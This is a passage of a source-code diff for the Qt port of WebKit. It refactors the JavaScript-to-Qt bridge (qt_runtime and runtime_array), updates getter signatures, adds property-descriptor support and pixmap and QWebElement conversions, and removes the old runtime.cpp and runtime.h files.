                 if (type == String)
                     dist = 3;
                 else
@@ -305,7 +323,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                 return QString();
             } else {
                 UString ustring = value.toString(exec);
-                ret = QVariant(QString((const QChar*)ustring.rep()->data(), ustring.size()));
+                ret = QVariant(QString((const QChar*)ustring.rep()->characters(), ustring.size()));
                 if (type == String)
                     dist = 0;
                 else
@@ -329,7 +347,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                         QVariant v = convertValueToQVariant(exec, val, QMetaType::Void, &objdist, visitedObjects);
                         if (objdist >= 0) {
                             UString ustring = (*it).ustring();
-                            QString id = QString((const QChar*)ustring.rep()->data(), ustring.size());
+                            QString id = QString((const QChar*)ustring.rep()->characters(), ustring.size());
                             result.insert(id, v);
                         }
                     }
@@ -404,7 +422,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                 for (int i = 0; i < len; ++i) {
                     JSValue val = rtarray->getConcreteArray()->valueAt(exec, i);
                     UString ustring = val.toString(exec);
-                    QString qstring = QString((const QChar*)ustring.rep()->data(), ustring.size());
+                    QString qstring = QString((const QChar*)ustring.rep()->characters(), ustring.size());
 
                     result.append(qstring);
                 }
@@ -418,7 +436,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                 for (int i = 0; i < len; ++i) {
                     JSValue val = array->get(exec, i);
                     UString ustring = val.toString(exec);
-                    QString qstring = QString((const QChar*)ustring.rep()->data(), ustring.size());
+                    QString qstring = QString((const QChar*)ustring.rep()->characters(), ustring.size());
 
                     result.append(qstring);
                 }
@@ -427,7 +445,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
             } else {
                 // Make a single length array
                 UString ustring = value.toString(exec);
-                QString qstring = QString((const QChar*)ustring.rep()->data(), ustring.size());
+                QString qstring = QString((const QChar*)ustring.rep()->characters(), ustring.size());
                 QStringList result;
                 result.append(qstring);
                 ret = QVariant(result);
@@ -443,7 +461,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                 dist = 0;
             } else {
                 UString ustring = value.toString(exec);
-                ret = QVariant(QString((const QChar*)ustring.rep()->data(), ustring.size()).toLatin1());
+                ret = QVariant(QString((const QChar*)ustring.rep()->characters(), ustring.size()).toLatin1());
                 if (type == String)
                     dist = 5;
                 else
@@ -457,8 +475,8 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
         case QMetaType::QTime:
             if (type == Date) {
                 DateInstance* date = static_cast<DateInstance*>(object);
-                WTF::GregorianDateTime gdt;
-                WTF::msToGregorianDateTime(date->internalNumber(), true, gdt);
+                GregorianDateTime gdt;
+                msToGregorianDateTime(exec, date->internalNumber(), true, gdt);
                 if (hint == QMetaType::QDateTime) {
                     ret = QDateTime(QDate(gdt.year + 1900, gdt.month + 1, gdt.monthDay), QTime(gdt.hour, gdt.minute, gdt.second), Qt::UTC);
                     dist = 0;
@@ -471,8 +489,8 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                 }
             } else if (type == Number) {
                 double b = value.toNumber(exec);
-                WTF::GregorianDateTime gdt;
-                msToGregorianDateTime(b, true, gdt);
+                GregorianDateTime gdt;
+                msToGregorianDateTime(exec, b, true, gdt);
                 if (hint == QMetaType::QDateTime) {
                     ret = QDateTime(QDate(gdt.year + 1900, gdt.month + 1, gdt.monthDay), QTime(gdt.hour, gdt.minute, gdt.second), Qt::UTC);
                     dist = 6;
@@ -485,7 +503,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                 }
             } else if (type == String) {
                 UString ustring = value.toString(exec);
-                QString qstring = QString((const QChar*)ustring.rep()->data(), ustring.size());
+                QString qstring = QString((const QChar*)ustring.rep()->characters(), ustring.size());
 
                 if (hint == QMetaType::QDateTime) {
                     QDateTime dt = QDateTime::fromString(qstring, Qt::ISODate);
@@ -534,7 +552,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
 */
                 // Attempt to convert.. a bit risky
                 UString ustring = value.toString(exec);
-                QString qstring = QString((const QChar*)ustring.rep()->data(), ustring.size());
+                QString qstring = QString((const QChar*)ustring.rep()->characters(), ustring.size());
 
                 // this is of the form '/xxxxxx/i'
                 int firstSlash = qstring.indexOf(QLatin1Char('/'));
@@ -554,7 +572,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                 }
             } else if (type == String) {
                 UString ustring = value.toString(exec);
-                QString qstring = QString((const QChar*)ustring.rep()->data(), ustring.size());
+                QString qstring = QString((const QChar*)ustring.rep()->characters(), ustring.size());
 
                 QRegExp re(qstring);
                 if (re.isValid()) {
@@ -720,6 +738,13 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                     }
                 }
                 break;
+            } else if (QtPixmapInstance::canHandle(static_cast<QMetaType::Type>(hint))) {
+                ret = QtPixmapInstance::variantFromObject(object, static_cast<QMetaType::Type>(hint));
+            } else if (hint == (QMetaType::Type) qMetaTypeId<QWebElement>()) {
+                if (object && object->inherits(&JSHTMLElement::s_info))
+                    ret = QVariant::fromValue<QWebElement>(QtWebElementRuntime::create((static_cast<JSHTMLElement*>(object))->impl()));
+                else
+                    ret = QVariant::fromValue<QWebElement>(QWebElement());
             } else if (hint == (QMetaType::Type) qMetaTypeId<QVariant>()) {
                 if (value.isUndefinedOrNull()) {
                     if (distance)
@@ -824,7 +849,7 @@ JSValue convertQVariantToValue(ExecState* exec, PassRefPtr<RootObject> root, con
         }
 
         // Dates specified this way are in local time (we convert DateTimes above)
-        WTF::GregorianDateTime dt;
+        GregorianDateTime dt;
         dt.year = date.year() - 1900;
         dt.month = date.month() - 1;
         dt.monthDay = date.day();
@@ -832,7 +857,7 @@ JSValue convertQVariantToValue(ExecState* exec, PassRefPtr<RootObject> root, con
         dt.minute = time.minute();
         dt.second = time.second();
         dt.isDST = -1;
-        double ms = WTF::gregorianDateTimeToMS(dt, time.msec(), /*inputIsUTC*/ false);
+        double ms = gregorianDateTimeToMS(exec, dt, time.msec(), /*inputIsUTC*/ false);
 
         return new (exec) DateInstance(exec, trunc(ms));
     }
@@ -849,6 +874,20 @@ JSValue convertQVariantToValue(ExecState* exec, PassRefPtr<RootObject> root, con
         return QtInstance::getQtInstance(obj, root, QScriptEngine::QtOwnership)->createRuntimeObject(exec);
     }
 
+    if (QtPixmapInstance::canHandle(static_cast<QMetaType::Type>(variant.type())))
+        return QtPixmapInstance::createRuntimeObject(exec, root, variant);
+
+    if (type == qMetaTypeId<QWebElement>()) {
+        if (!root->globalObject()->inherits(&JSDOMWindow::s_info))
+            return jsUndefined();
+
+        Document* document = (static_cast<JSDOMWindow*>(root->globalObject()))->impl()->document();
+        if (!document)
+            return jsUndefined();
+
+        return toJS(exec, toJSDOMGlobalObject(document, exec), QtWebElementRuntime::get(variant.value<QWebElement>()));
+    }
+
     if (type == QMetaType::QVariantMap) {
         // create a new object, and stuff properties into it
         JSObject* ret = constructEmptyObject(exec);
@@ -1395,15 +1434,52 @@ bool QtRuntimeMetaMethod::getOwnPropertySlot(ExecState* exec, const Identifier&
     return QtRuntimeMethod::getOwnPropertySlot(exec, propertyName, slot);
 }
 
-JSValue QtRuntimeMetaMethod::lengthGetter(ExecState* exec, const Identifier&, const PropertySlot&)
+bool QtRuntimeMetaMethod::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    if (propertyName == "connect") {
+        PropertySlot slot;
+        slot.setCustom(this, connectGetter);
+        descriptor.setDescriptor(slot.getValue(exec, propertyName), DontDelete | ReadOnly | DontEnum);
+        return true;
+    }
+
+    if (propertyName == "disconnect") {
+        PropertySlot slot;
+        slot.setCustom(this, disconnectGetter);
+        descriptor.setDescriptor(slot.getValue(exec, propertyName), DontDelete | ReadOnly | DontEnum);
+        return true;
+    }
+
+    if (propertyName == exec->propertyNames().length) {
+        PropertySlot slot;
+        slot.setCustom(this, lengthGetter);
+        descriptor.setDescriptor(slot.getValue(exec, propertyName), DontDelete | ReadOnly | DontEnum);
+        return true;
+    }
+
+    return QtRuntimeMethod::getOwnPropertyDescriptor(exec, propertyName, descriptor);
+}
+
+void QtRuntimeMetaMethod::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
+{
+    if (mode == IncludeDontEnumProperties) {
+        propertyNames.add(Identifier(exec, "connect"));
+        propertyNames.add(Identifier(exec, "disconnect"));
+        propertyNames.add(exec->propertyNames().length);
+    }
+
+    QtRuntimeMethod::getOwnPropertyNames(exec, propertyNames, mode);
+}
+
+JSValue QtRuntimeMetaMethod::lengthGetter(ExecState* exec, JSValue, const Identifier&)
 {
     // QtScript always returns 0
     return jsNumber(exec, 0);
 }
 
-JSValue QtRuntimeMetaMethod::connectGetter(ExecState* exec, const Identifier& ident, const PropertySlot& slot)
+JSValue QtRuntimeMetaMethod::connectGetter(ExecState* exec, JSValue slotBase, const Identifier& ident)
 {
-    QtRuntimeMetaMethod* thisObj = static_cast<QtRuntimeMetaMethod*>(asObject(slot.slotBase()));
+    QtRuntimeMetaMethod* thisObj = static_cast<QtRuntimeMetaMethod*>(asObject(slotBase));
     QW_DS(QtRuntimeMetaMethod, thisObj);
 
     if (!d->m_connect)
@@ -1411,9 +1487,9 @@ JSValue QtRuntimeMetaMethod::connectGetter(ExecState* exec, const Identifier& id
     return d->m_connect;
 }
 
-JSValue QtRuntimeMetaMethod::disconnectGetter(ExecState* exec, const Identifier& ident, const PropertySlot& slot)
+JSValue QtRuntimeMetaMethod::disconnectGetter(ExecState* exec, JSValue slotBase, const Identifier& ident)
 {
-    QtRuntimeMetaMethod* thisObj = static_cast<QtRuntimeMetaMethod*>(asObject(slot.slotBase()));
+    QtRuntimeMetaMethod* thisObj = static_cast<QtRuntimeMetaMethod*>(asObject(slotBase));
     QW_DS(QtRuntimeMetaMethod, thisObj);
 
     if (!d->m_disconnect)
@@ -1581,7 +1657,27 @@ bool QtRuntimeConnectionMethod::getOwnPropertySlot(ExecState* exec, const Identi
     return QtRuntimeMethod::getOwnPropertySlot(exec, propertyName, slot);
 }
 
-JSValue QtRuntimeConnectionMethod::lengthGetter(ExecState* exec, const Identifier&, const PropertySlot&)
+bool QtRuntimeConnectionMethod::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    if (propertyName == exec->propertyNames().length) {
+        PropertySlot slot;
+        slot.setCustom(this, lengthGetter);
+        descriptor.setDescriptor(slot.getValue(exec, propertyName), DontDelete | ReadOnly | DontEnum);
+        return true;
+    }
+
+    return QtRuntimeMethod::getOwnPropertyDescriptor(exec, propertyName, descriptor);
+}
+
+void QtRuntimeConnectionMethod::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
+{
+    if (mode == IncludeDontEnumProperties)
+        propertyNames.add(exec->propertyNames().length);
+
+    QtRuntimeMethod::getOwnPropertyNames(exec, propertyNames, mode);
+}
+
+JSValue QtRuntimeConnectionMethod::lengthGetter(ExecState* exec, JSValue, const Identifier&)
 {
     // we have one formal argument, and one optional
     return jsNumber(exec, 1);
@@ -1744,7 +1840,7 @@ template <typename T> QtArray<T>::~QtArray ()
 
 template <typename T> RootObject* QtArray<T>::rootObject() const
 {
-    return _rootObject && _rootObject->isValid() ? _rootObject.get() : 0;
+    return m_rootObject && m_rootObject->isValid() ? m_rootObject.get() : 0;
 }
 
 template <typename T> void QtArray<T>::setValueAt(ExecState* exec, unsigned index, JSValue aValue) const
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.h b/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.h
index f2ce954..0951e5b 100644
--- a/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.h
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.h
@@ -20,9 +20,9 @@
 #ifndef BINDINGS_QT_RUNTIME_H_
 #define BINDINGS_QT_RUNTIME_H_
 
+#include "Bridge.h"
 #include "Completion.h"
 #include "Protect.h"
-#include "runtime.h"
 #include "runtime_method.h"
 
 #include <qbytearray.h>
@@ -40,7 +40,9 @@ public:
 
     typedef enum {
         MetaProperty,
+#ifndef QT_NO_PROPERTIES
         DynamicProperty,
+#endif
         ChildObject
     } QtFieldType;
 
@@ -48,9 +50,11 @@ public:
         : m_type(MetaProperty), m_property(p)
         {}
 
+#ifndef QT_NO_PROPERTIES
     QtField(const QByteArray &b)
         : m_type(DynamicProperty), m_dynamicProperty(b)
         {}
+#endif
 
     QtField(QObject *child)
         : m_type(ChildObject), m_childObject(child)
@@ -151,10 +155,12 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue prototype)
     {
-        return Structure::create(prototype, TypeInfo(ObjectType,  OverridesGetOwnPropertySlot | OverridesMarkChildren));
+        return Structure::create(prototype, TypeInfo(ObjectType,  StructureFlags), AnonymousSlotCount);
     }
 
 protected:
+    static const unsigned StructureFlags = OverridesGetOwnPropertySlot | OverridesGetPropertyNames | InternalFunction::StructureFlags | OverridesMarkChildren;
+
     QtRuntimeMethodData *d_func() const {return d_ptr;}
     QtRuntimeMethod(QtRuntimeMethodData *dd, ExecState *exec, const Identifier &n, PassRefPtr<QtInstance> inst);
     QtRuntimeMethodData *d_ptr;
@@ -166,6 +172,8 @@ public:
     QtRuntimeMetaMethod(ExecState *exec, const Identifier &n, PassRefPtr<QtInstance> inst, int index, const QByteArray& signature, bool allowPrivate);
 
     virtual bool getOwnPropertySlot(ExecState *, const Identifier&, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+    virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
     virtual void markChildren(MarkStack& markStack);
 
@@ -175,9 +183,9 @@ protected:
 private:
     virtual CallType getCallData(CallData&);
     static JSValue JSC_HOST_CALL call(ExecState* exec, JSObject* functionObject, JSValue thisValue, const ArgList& args);
-    static JSValue lengthGetter(ExecState*, const Identifier&, const PropertySlot&);
-    static JSValue connectGetter(ExecState*, const Identifier&, const PropertySlot&);
-    static JSValue disconnectGetter(ExecState*, const Identifier&, const PropertySlot&);
+    static JSValue lengthGetter(ExecState*, JSValue, const Identifier&);
+    static JSValue connectGetter(ExecState*, JSValue, const Identifier&);
+    static JSValue disconnectGetter(ExecState*, JSValue, const Identifier&);
 };
 
 class QtConnectionObject;
@@ -187,6 +195,8 @@ public:
     QtRuntimeConnectionMethod(ExecState *exec, const Identifier &n, bool isConnect, PassRefPtr<QtInstance> inst, int index, const QByteArray& signature );
 
     virtual bool getOwnPropertySlot(ExecState *, const Identifier&, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+    virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
 
 protected:
     QtRuntimeConnectionMethodData* d_func() const {return reinterpret_cast<QtRuntimeConnectionMethodData*>(d_ptr);}
@@ -194,7 +204,7 @@ protected:
 private:
     virtual CallType getCallData(CallData&);
     static JSValue JSC_HOST_CALL call(ExecState* exec, JSObject* functionObject, JSValue thisValue, const ArgList& args);
-    static JSValue lengthGetter(ExecState*, const Identifier&, const PropertySlot&);
+    static JSValue lengthGetter(ExecState*, JSValue, const Identifier&);
     static QMultiMap<QObject *, QtConnectionObject *> connections;
     friend class QtConnectionObject;
 };
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime.cpp b/src/3rdparty/webkit/WebCore/bridge/runtime.cpp
deleted file mode 100644
index eac8586..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/runtime.cpp
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (C) 2003, 2006, 2008 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "runtime.h"
-
-#include "runtime_object.h"
-#include "runtime_root.h"
-#include <runtime/JSLock.h>
-
-#if PLATFORM(QT)
-#include "qt_instance.h"
-#endif
-
-namespace JSC { namespace Bindings {
-
-Array::Array(PassRefPtr<RootObject> rootObject)
-    : _rootObject(rootObject)
-{
-    ASSERT(_rootObject);
-}
-
-Array::~Array()
-{
-}
-
-Instance::Instance(PassRefPtr<RootObject> rootObject)
-    : _rootObject(rootObject)
-    , m_runtimeObject(0)
-{
-    ASSERT(_rootObject);
-}
-
-Instance::~Instance()
-{
-    ASSERT(!m_runtimeObject);
-}
-
-static KJSDidExecuteFunctionPtr s_didExecuteFunction;
-
-void Instance::setDidExecuteFunction(KJSDidExecuteFunctionPtr func)
-{
-    s_didExecuteFunction = func;
-}
-
-KJSDidExecuteFunctionPtr Instance::didExecuteFunction()
-{
-    return s_didExecuteFunction;
-}
-
-void Instance::begin()
-{
-    virtualBegin();
-}
-
-void Instance::end()
-{
-    virtualEnd();
-}
-
-RuntimeObjectImp* Instance::createRuntimeObject(ExecState* exec)
-{
-    ASSERT(_rootObject);
-    ASSERT(_rootObject->isValid());
-    if (m_runtimeObject)
-        return m_runtimeObject;
-    JSLock lock(SilenceAssertionsOnly);
-    m_runtimeObject = newRuntimeObject(exec);
-    _rootObject->addRuntimeObject(m_runtimeObject);
-    return m_runtimeObject;
-}
-
-RuntimeObjectImp* Instance::newRuntimeObject(ExecState* exec)
-{
-    JSLock lock(SilenceAssertionsOnly);
-    return new (exec) RuntimeObjectImp(exec, this);
-}
-
-void Instance::willDestroyRuntimeObject()
-{
-    ASSERT(_rootObject);
-    ASSERT(_rootObject->isValid());
-    ASSERT(m_runtimeObject);
-    _rootObject->removeRuntimeObject(m_runtimeObject);
-    m_runtimeObject = 0;
-}
-
-void Instance::willInvalidateRuntimeObject()
-{
-    ASSERT(m_runtimeObject);
-    m_runtimeObject = 0;
-}
-
-RootObject* Instance::rootObject() const 
-{ 
-    return _rootObject && _rootObject->isValid() ? _rootObject.get() : 0;
-}
-
-} } // namespace JSC::Bindings
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime.h b/src/3rdparty/webkit/WebCore/bridge/runtime.h
deleted file mode 100644
index 6682a97..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/runtime.h
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2003, 2008, 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JAVASCRIPTCORE_BINDINGS_RUNTIME_H
-#define JAVASCRIPTCORE_BINDINGS_RUNTIME_H
-
-#include <runtime/JSString.h>
-#include <wtf/HashMap.h>
-#include <wtf/RefCounted.h>
-#include <wtf/Vector.h>
-
-namespace JSC  {
-
-class ArgList;
-class Identifier;
-class JSGlobalObject;
-class PropertyNameArray;
-class RuntimeObjectImp;
-
-namespace Bindings {
-
-class Instance;
-class Method;
-class RootObject;
-
-typedef Vector<Method*> MethodList;
-
-class Field {
-public:
-    virtual JSValue valueFromInstance(ExecState*, const Instance*) const = 0;
-    virtual void setValueToInstance(ExecState*, const Instance*, JSValue) const = 0;
-
-    virtual ~Field() { }
-};
-
-class Method : public Noncopyable {
-public:
-    virtual int numParameters() const = 0;
-        
-    virtual ~Method() { }
-};
-
-class Class : public Noncopyable {
-public:
-    virtual MethodList methodsNamed(const Identifier&, Instance*) const = 0;
-    virtual Field* fieldNamed(const Identifier&, Instance*) const = 0;
-    virtual JSValue fallbackObject(ExecState*, Instance*, const Identifier&) { return jsUndefined(); }
-
-    virtual ~Class() { }
-};
-
-typedef void (*KJSDidExecuteFunctionPtr)(ExecState*, JSObject* rootObject);
-
-class Instance : public RefCounted<Instance> {
-public:
-    Instance(PassRefPtr<RootObject>);
-
-    static void setDidExecuteFunction(KJSDidExecuteFunctionPtr func);
-    static KJSDidExecuteFunctionPtr didExecuteFunction();
-
-    // These functions are called before and after the main entry points into
-    // the native implementations.  They can be used to establish and cleanup
-    // any needed state.
-    void begin();
-    void end();
-    
-    virtual Class* getClass() const = 0;
-    RuntimeObjectImp* createRuntimeObject(ExecState*);
-    void willInvalidateRuntimeObject();
-    void willDestroyRuntimeObject();
-    
-    // Returns false if the value was not set successfully.
-    virtual bool setValueOfUndefinedField(ExecState*, const Identifier&, JSValue) { return false; }
-
-    virtual JSValue invokeMethod(ExecState*, const MethodList&, const ArgList& args) = 0;
-
-    virtual bool supportsInvokeDefaultMethod() const { return false; }
-    virtual JSValue invokeDefaultMethod(ExecState*, const ArgList&) { return jsUndefined(); }
-    
-    virtual bool supportsConstruct() const { return false; }
-    virtual JSValue invokeConstruct(ExecState*, const ArgList&) { return JSValue(); }
-    
-    virtual void getPropertyNames(ExecState*, PropertyNameArray&) { }
-
-    virtual JSValue defaultValue(ExecState*, PreferredPrimitiveType) const = 0;
-    
-    virtual JSValue valueOf(ExecState* exec) const = 0;
-    
-    RootObject* rootObject() const;
-    
-    virtual ~Instance();
-
-    virtual bool getOwnPropertySlot(JSObject*, ExecState*, const Identifier&, PropertySlot&) { return false; }
-    virtual bool getOwnPropertyDescriptor(JSObject*, ExecState*, const Identifier&, PropertyDescriptor&) { return false; }
-    virtual void put(JSObject*, ExecState*, const Identifier&, JSValue, PutPropertySlot&) { }
-
-protected:
-    virtual void virtualBegin() { }
-    virtual void virtualEnd() { }
-    virtual RuntimeObjectImp* newRuntimeObject(ExecState*);
-
-    RefPtr<RootObject> _rootObject;
-
-private:
-    RuntimeObjectImp* m_runtimeObject;
-};
-
-class Array : public Noncopyable {
-public:
-    Array(PassRefPtr<RootObject>);
-    virtual ~Array();
-    
-    virtual void setValueAt(ExecState *, unsigned index, JSValue) const = 0;
-    virtual JSValue valueAt(ExecState *, unsigned index) const = 0;
-    virtual unsigned int getLength() const = 0;
-
-protected:
-    RefPtr<RootObject> _rootObject;
-};
-
-const char *signatureForParameters(const ArgList&);
-
-typedef HashMap<RefPtr<UString::Rep>, MethodList*> MethodListMap;
-typedef HashMap<RefPtr<UString::Rep>, Method*> MethodMap; 
-typedef HashMap<RefPtr<UString::Rep>, Field*> FieldMap; 
-    
-} // namespace Bindings
-
-} // namespace JSC
-
-#endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_array.cpp b/src/3rdparty/webkit/WebCore/bridge/runtime_array.cpp
index feadb07..1f2bfe7 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_array.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_array.cpp
@@ -28,6 +28,7 @@
 
 #include <runtime/ArrayPrototype.h>
 #include <runtime/Error.h>
+#include <runtime/PropertyNameArray.h>
 #include "JSDOMBinding.h"
 
 using namespace WebCore;
@@ -39,27 +40,44 @@ const ClassInfo RuntimeArray::s_info = { "RuntimeArray", &JSArray::info, 0, 0 };
 RuntimeArray::RuntimeArray(ExecState* exec, Bindings::Array* array)
     // FIXME: deprecatedGetDOMStructure uses the prototype off of the wrong global object
     // We need to pass in the right global object for "array".
-    : JSObject(deprecatedGetDOMStructure<RuntimeArray>(exec))
-    , _array(array)
+    : JSArray(deprecatedGetDOMStructure<RuntimeArray>(exec))
 {
+    setSubclassData(array);
 }
 
-JSValue RuntimeArray::lengthGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+RuntimeArray::~RuntimeArray()
 {
-    RuntimeArray* thisObj = static_cast<RuntimeArray*>(asObject(slot.slotBase()));
+    delete getConcreteArray();
+}
+
+JSValue RuntimeArray::lengthGetter(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    RuntimeArray* thisObj = static_cast<RuntimeArray*>(asObject(slotBase));
     return jsNumber(exec, thisObj->getLength());
 }
 
-JSValue RuntimeArray::indexGetter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue RuntimeArray::indexGetter(ExecState* exec, JSValue slotBase, unsigned index)
 {
-    RuntimeArray* thisObj = static_cast<RuntimeArray*>(asObject(slot.slotBase()));
-    return thisObj->getConcreteArray()->valueAt(exec, slot.index());
+    RuntimeArray* thisObj = static_cast<RuntimeArray*>(asObject(slotBase));
+    return thisObj->getConcreteArray()->valueAt(exec, index);
+}
+
+void RuntimeArray::getOwnPropertyNames(ExecState* exec, PropertyNameArray& propertyNames, EnumerationMode mode)
+{
+    unsigned length = getLength();
+    for (unsigned i = 0; i < length; ++i)
+        propertyNames.add(Identifier::from(exec, i));
+
+    if (mode == IncludeDontEnumProperties)
+        propertyNames.add(exec->propertyNames().length);
+
+    JSObject::getOwnPropertyNames(exec, propertyNames, mode);
 }
 
 bool RuntimeArray::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
 {
     if (propertyName == exec->propertyNames().length) {
-        slot.setCustom(this, lengthGetter);
+        slot.setCacheableCustom(this, lengthGetter);
         return true;
     }
     
diff --git a/src/3rdparty/webkit/WebCore/bridge/runtime_array.h b/src/3rdparty/webkit/WebCore/bridge/runtime_array.h
index 1218b8c..e301268 100644
--- a/src/3rdparty/webkit/WebCore/bridge/runtime_array.h
+++ b/src/3rdparty/webkit/WebCore/bridge/runtime_array.h
@@ -26,29 +26,31 @@
 #ifndef RUNTIME_ARRAY_H_
 #define RUNTIME_ARRAY_H_
 
-#include "runtime.h"
-#include <runtime/JSGlobalObject.h>
+#include "Bridge.h"
+#include <runtime/ArrayPrototype.h>
 
 namespace JSC {
     
-class RuntimeArray : public JSObject {
+class RuntimeArray : public JSArray {
 public:
     RuntimeArray(ExecState*, Bindings::Array*);
-    
-    virtual bool getOwnPropertySlot(ExecState *, const Identifier&, PropertySlot&);
-    virtual bool getOwnPropertySlot(ExecState *, unsigned, PropertySlot&);
-    virtual bool getOwnPropertyDescriptor(ExecState *, const Identifier&, PropertyDescriptor&);
+    virtual ~RuntimeArray();
+
+    virtual void getOwnPropertyNames(ExecState*, PropertyNameArray&, EnumerationMode mode = ExcludeDontEnumProperties);
+    virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
+    virtual bool getOwnPropertySlot(ExecState*, unsigned, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
     virtual void put(ExecState*, const Identifier& propertyName, JSValue, PutPropertySlot&);
     virtual void put(ExecState*, unsigned propertyName, JSValue);
     
-    virtual bool deleteProperty(ExecState *exec, const Identifier &propertyName);
-    virtual bool deleteProperty(ExecState *exec, unsigned propertyName);
+    virtual bool deleteProperty(ExecState* exec, const Identifier &propertyName);
+    virtual bool deleteProperty(ExecState* exec, unsigned propertyName);
     
-    virtual const ClassInfo *classInfo() const { return &s_info; }
+    virtual const ClassInfo* classInfo() const { return &s_info; }
     
     unsigned getLength() const { return getConcreteArray()->getLength(); }
     
-    Bindings::Array *getConcreteArray() const { return _array.get(); }
+    Bindings::Array* getConcreteArray() const { return static_cast<Bindings::Array*>(subclassData()); }
 
     static const ClassInfo s_info;
 
@@ -57,17 +59,10 @@ public:
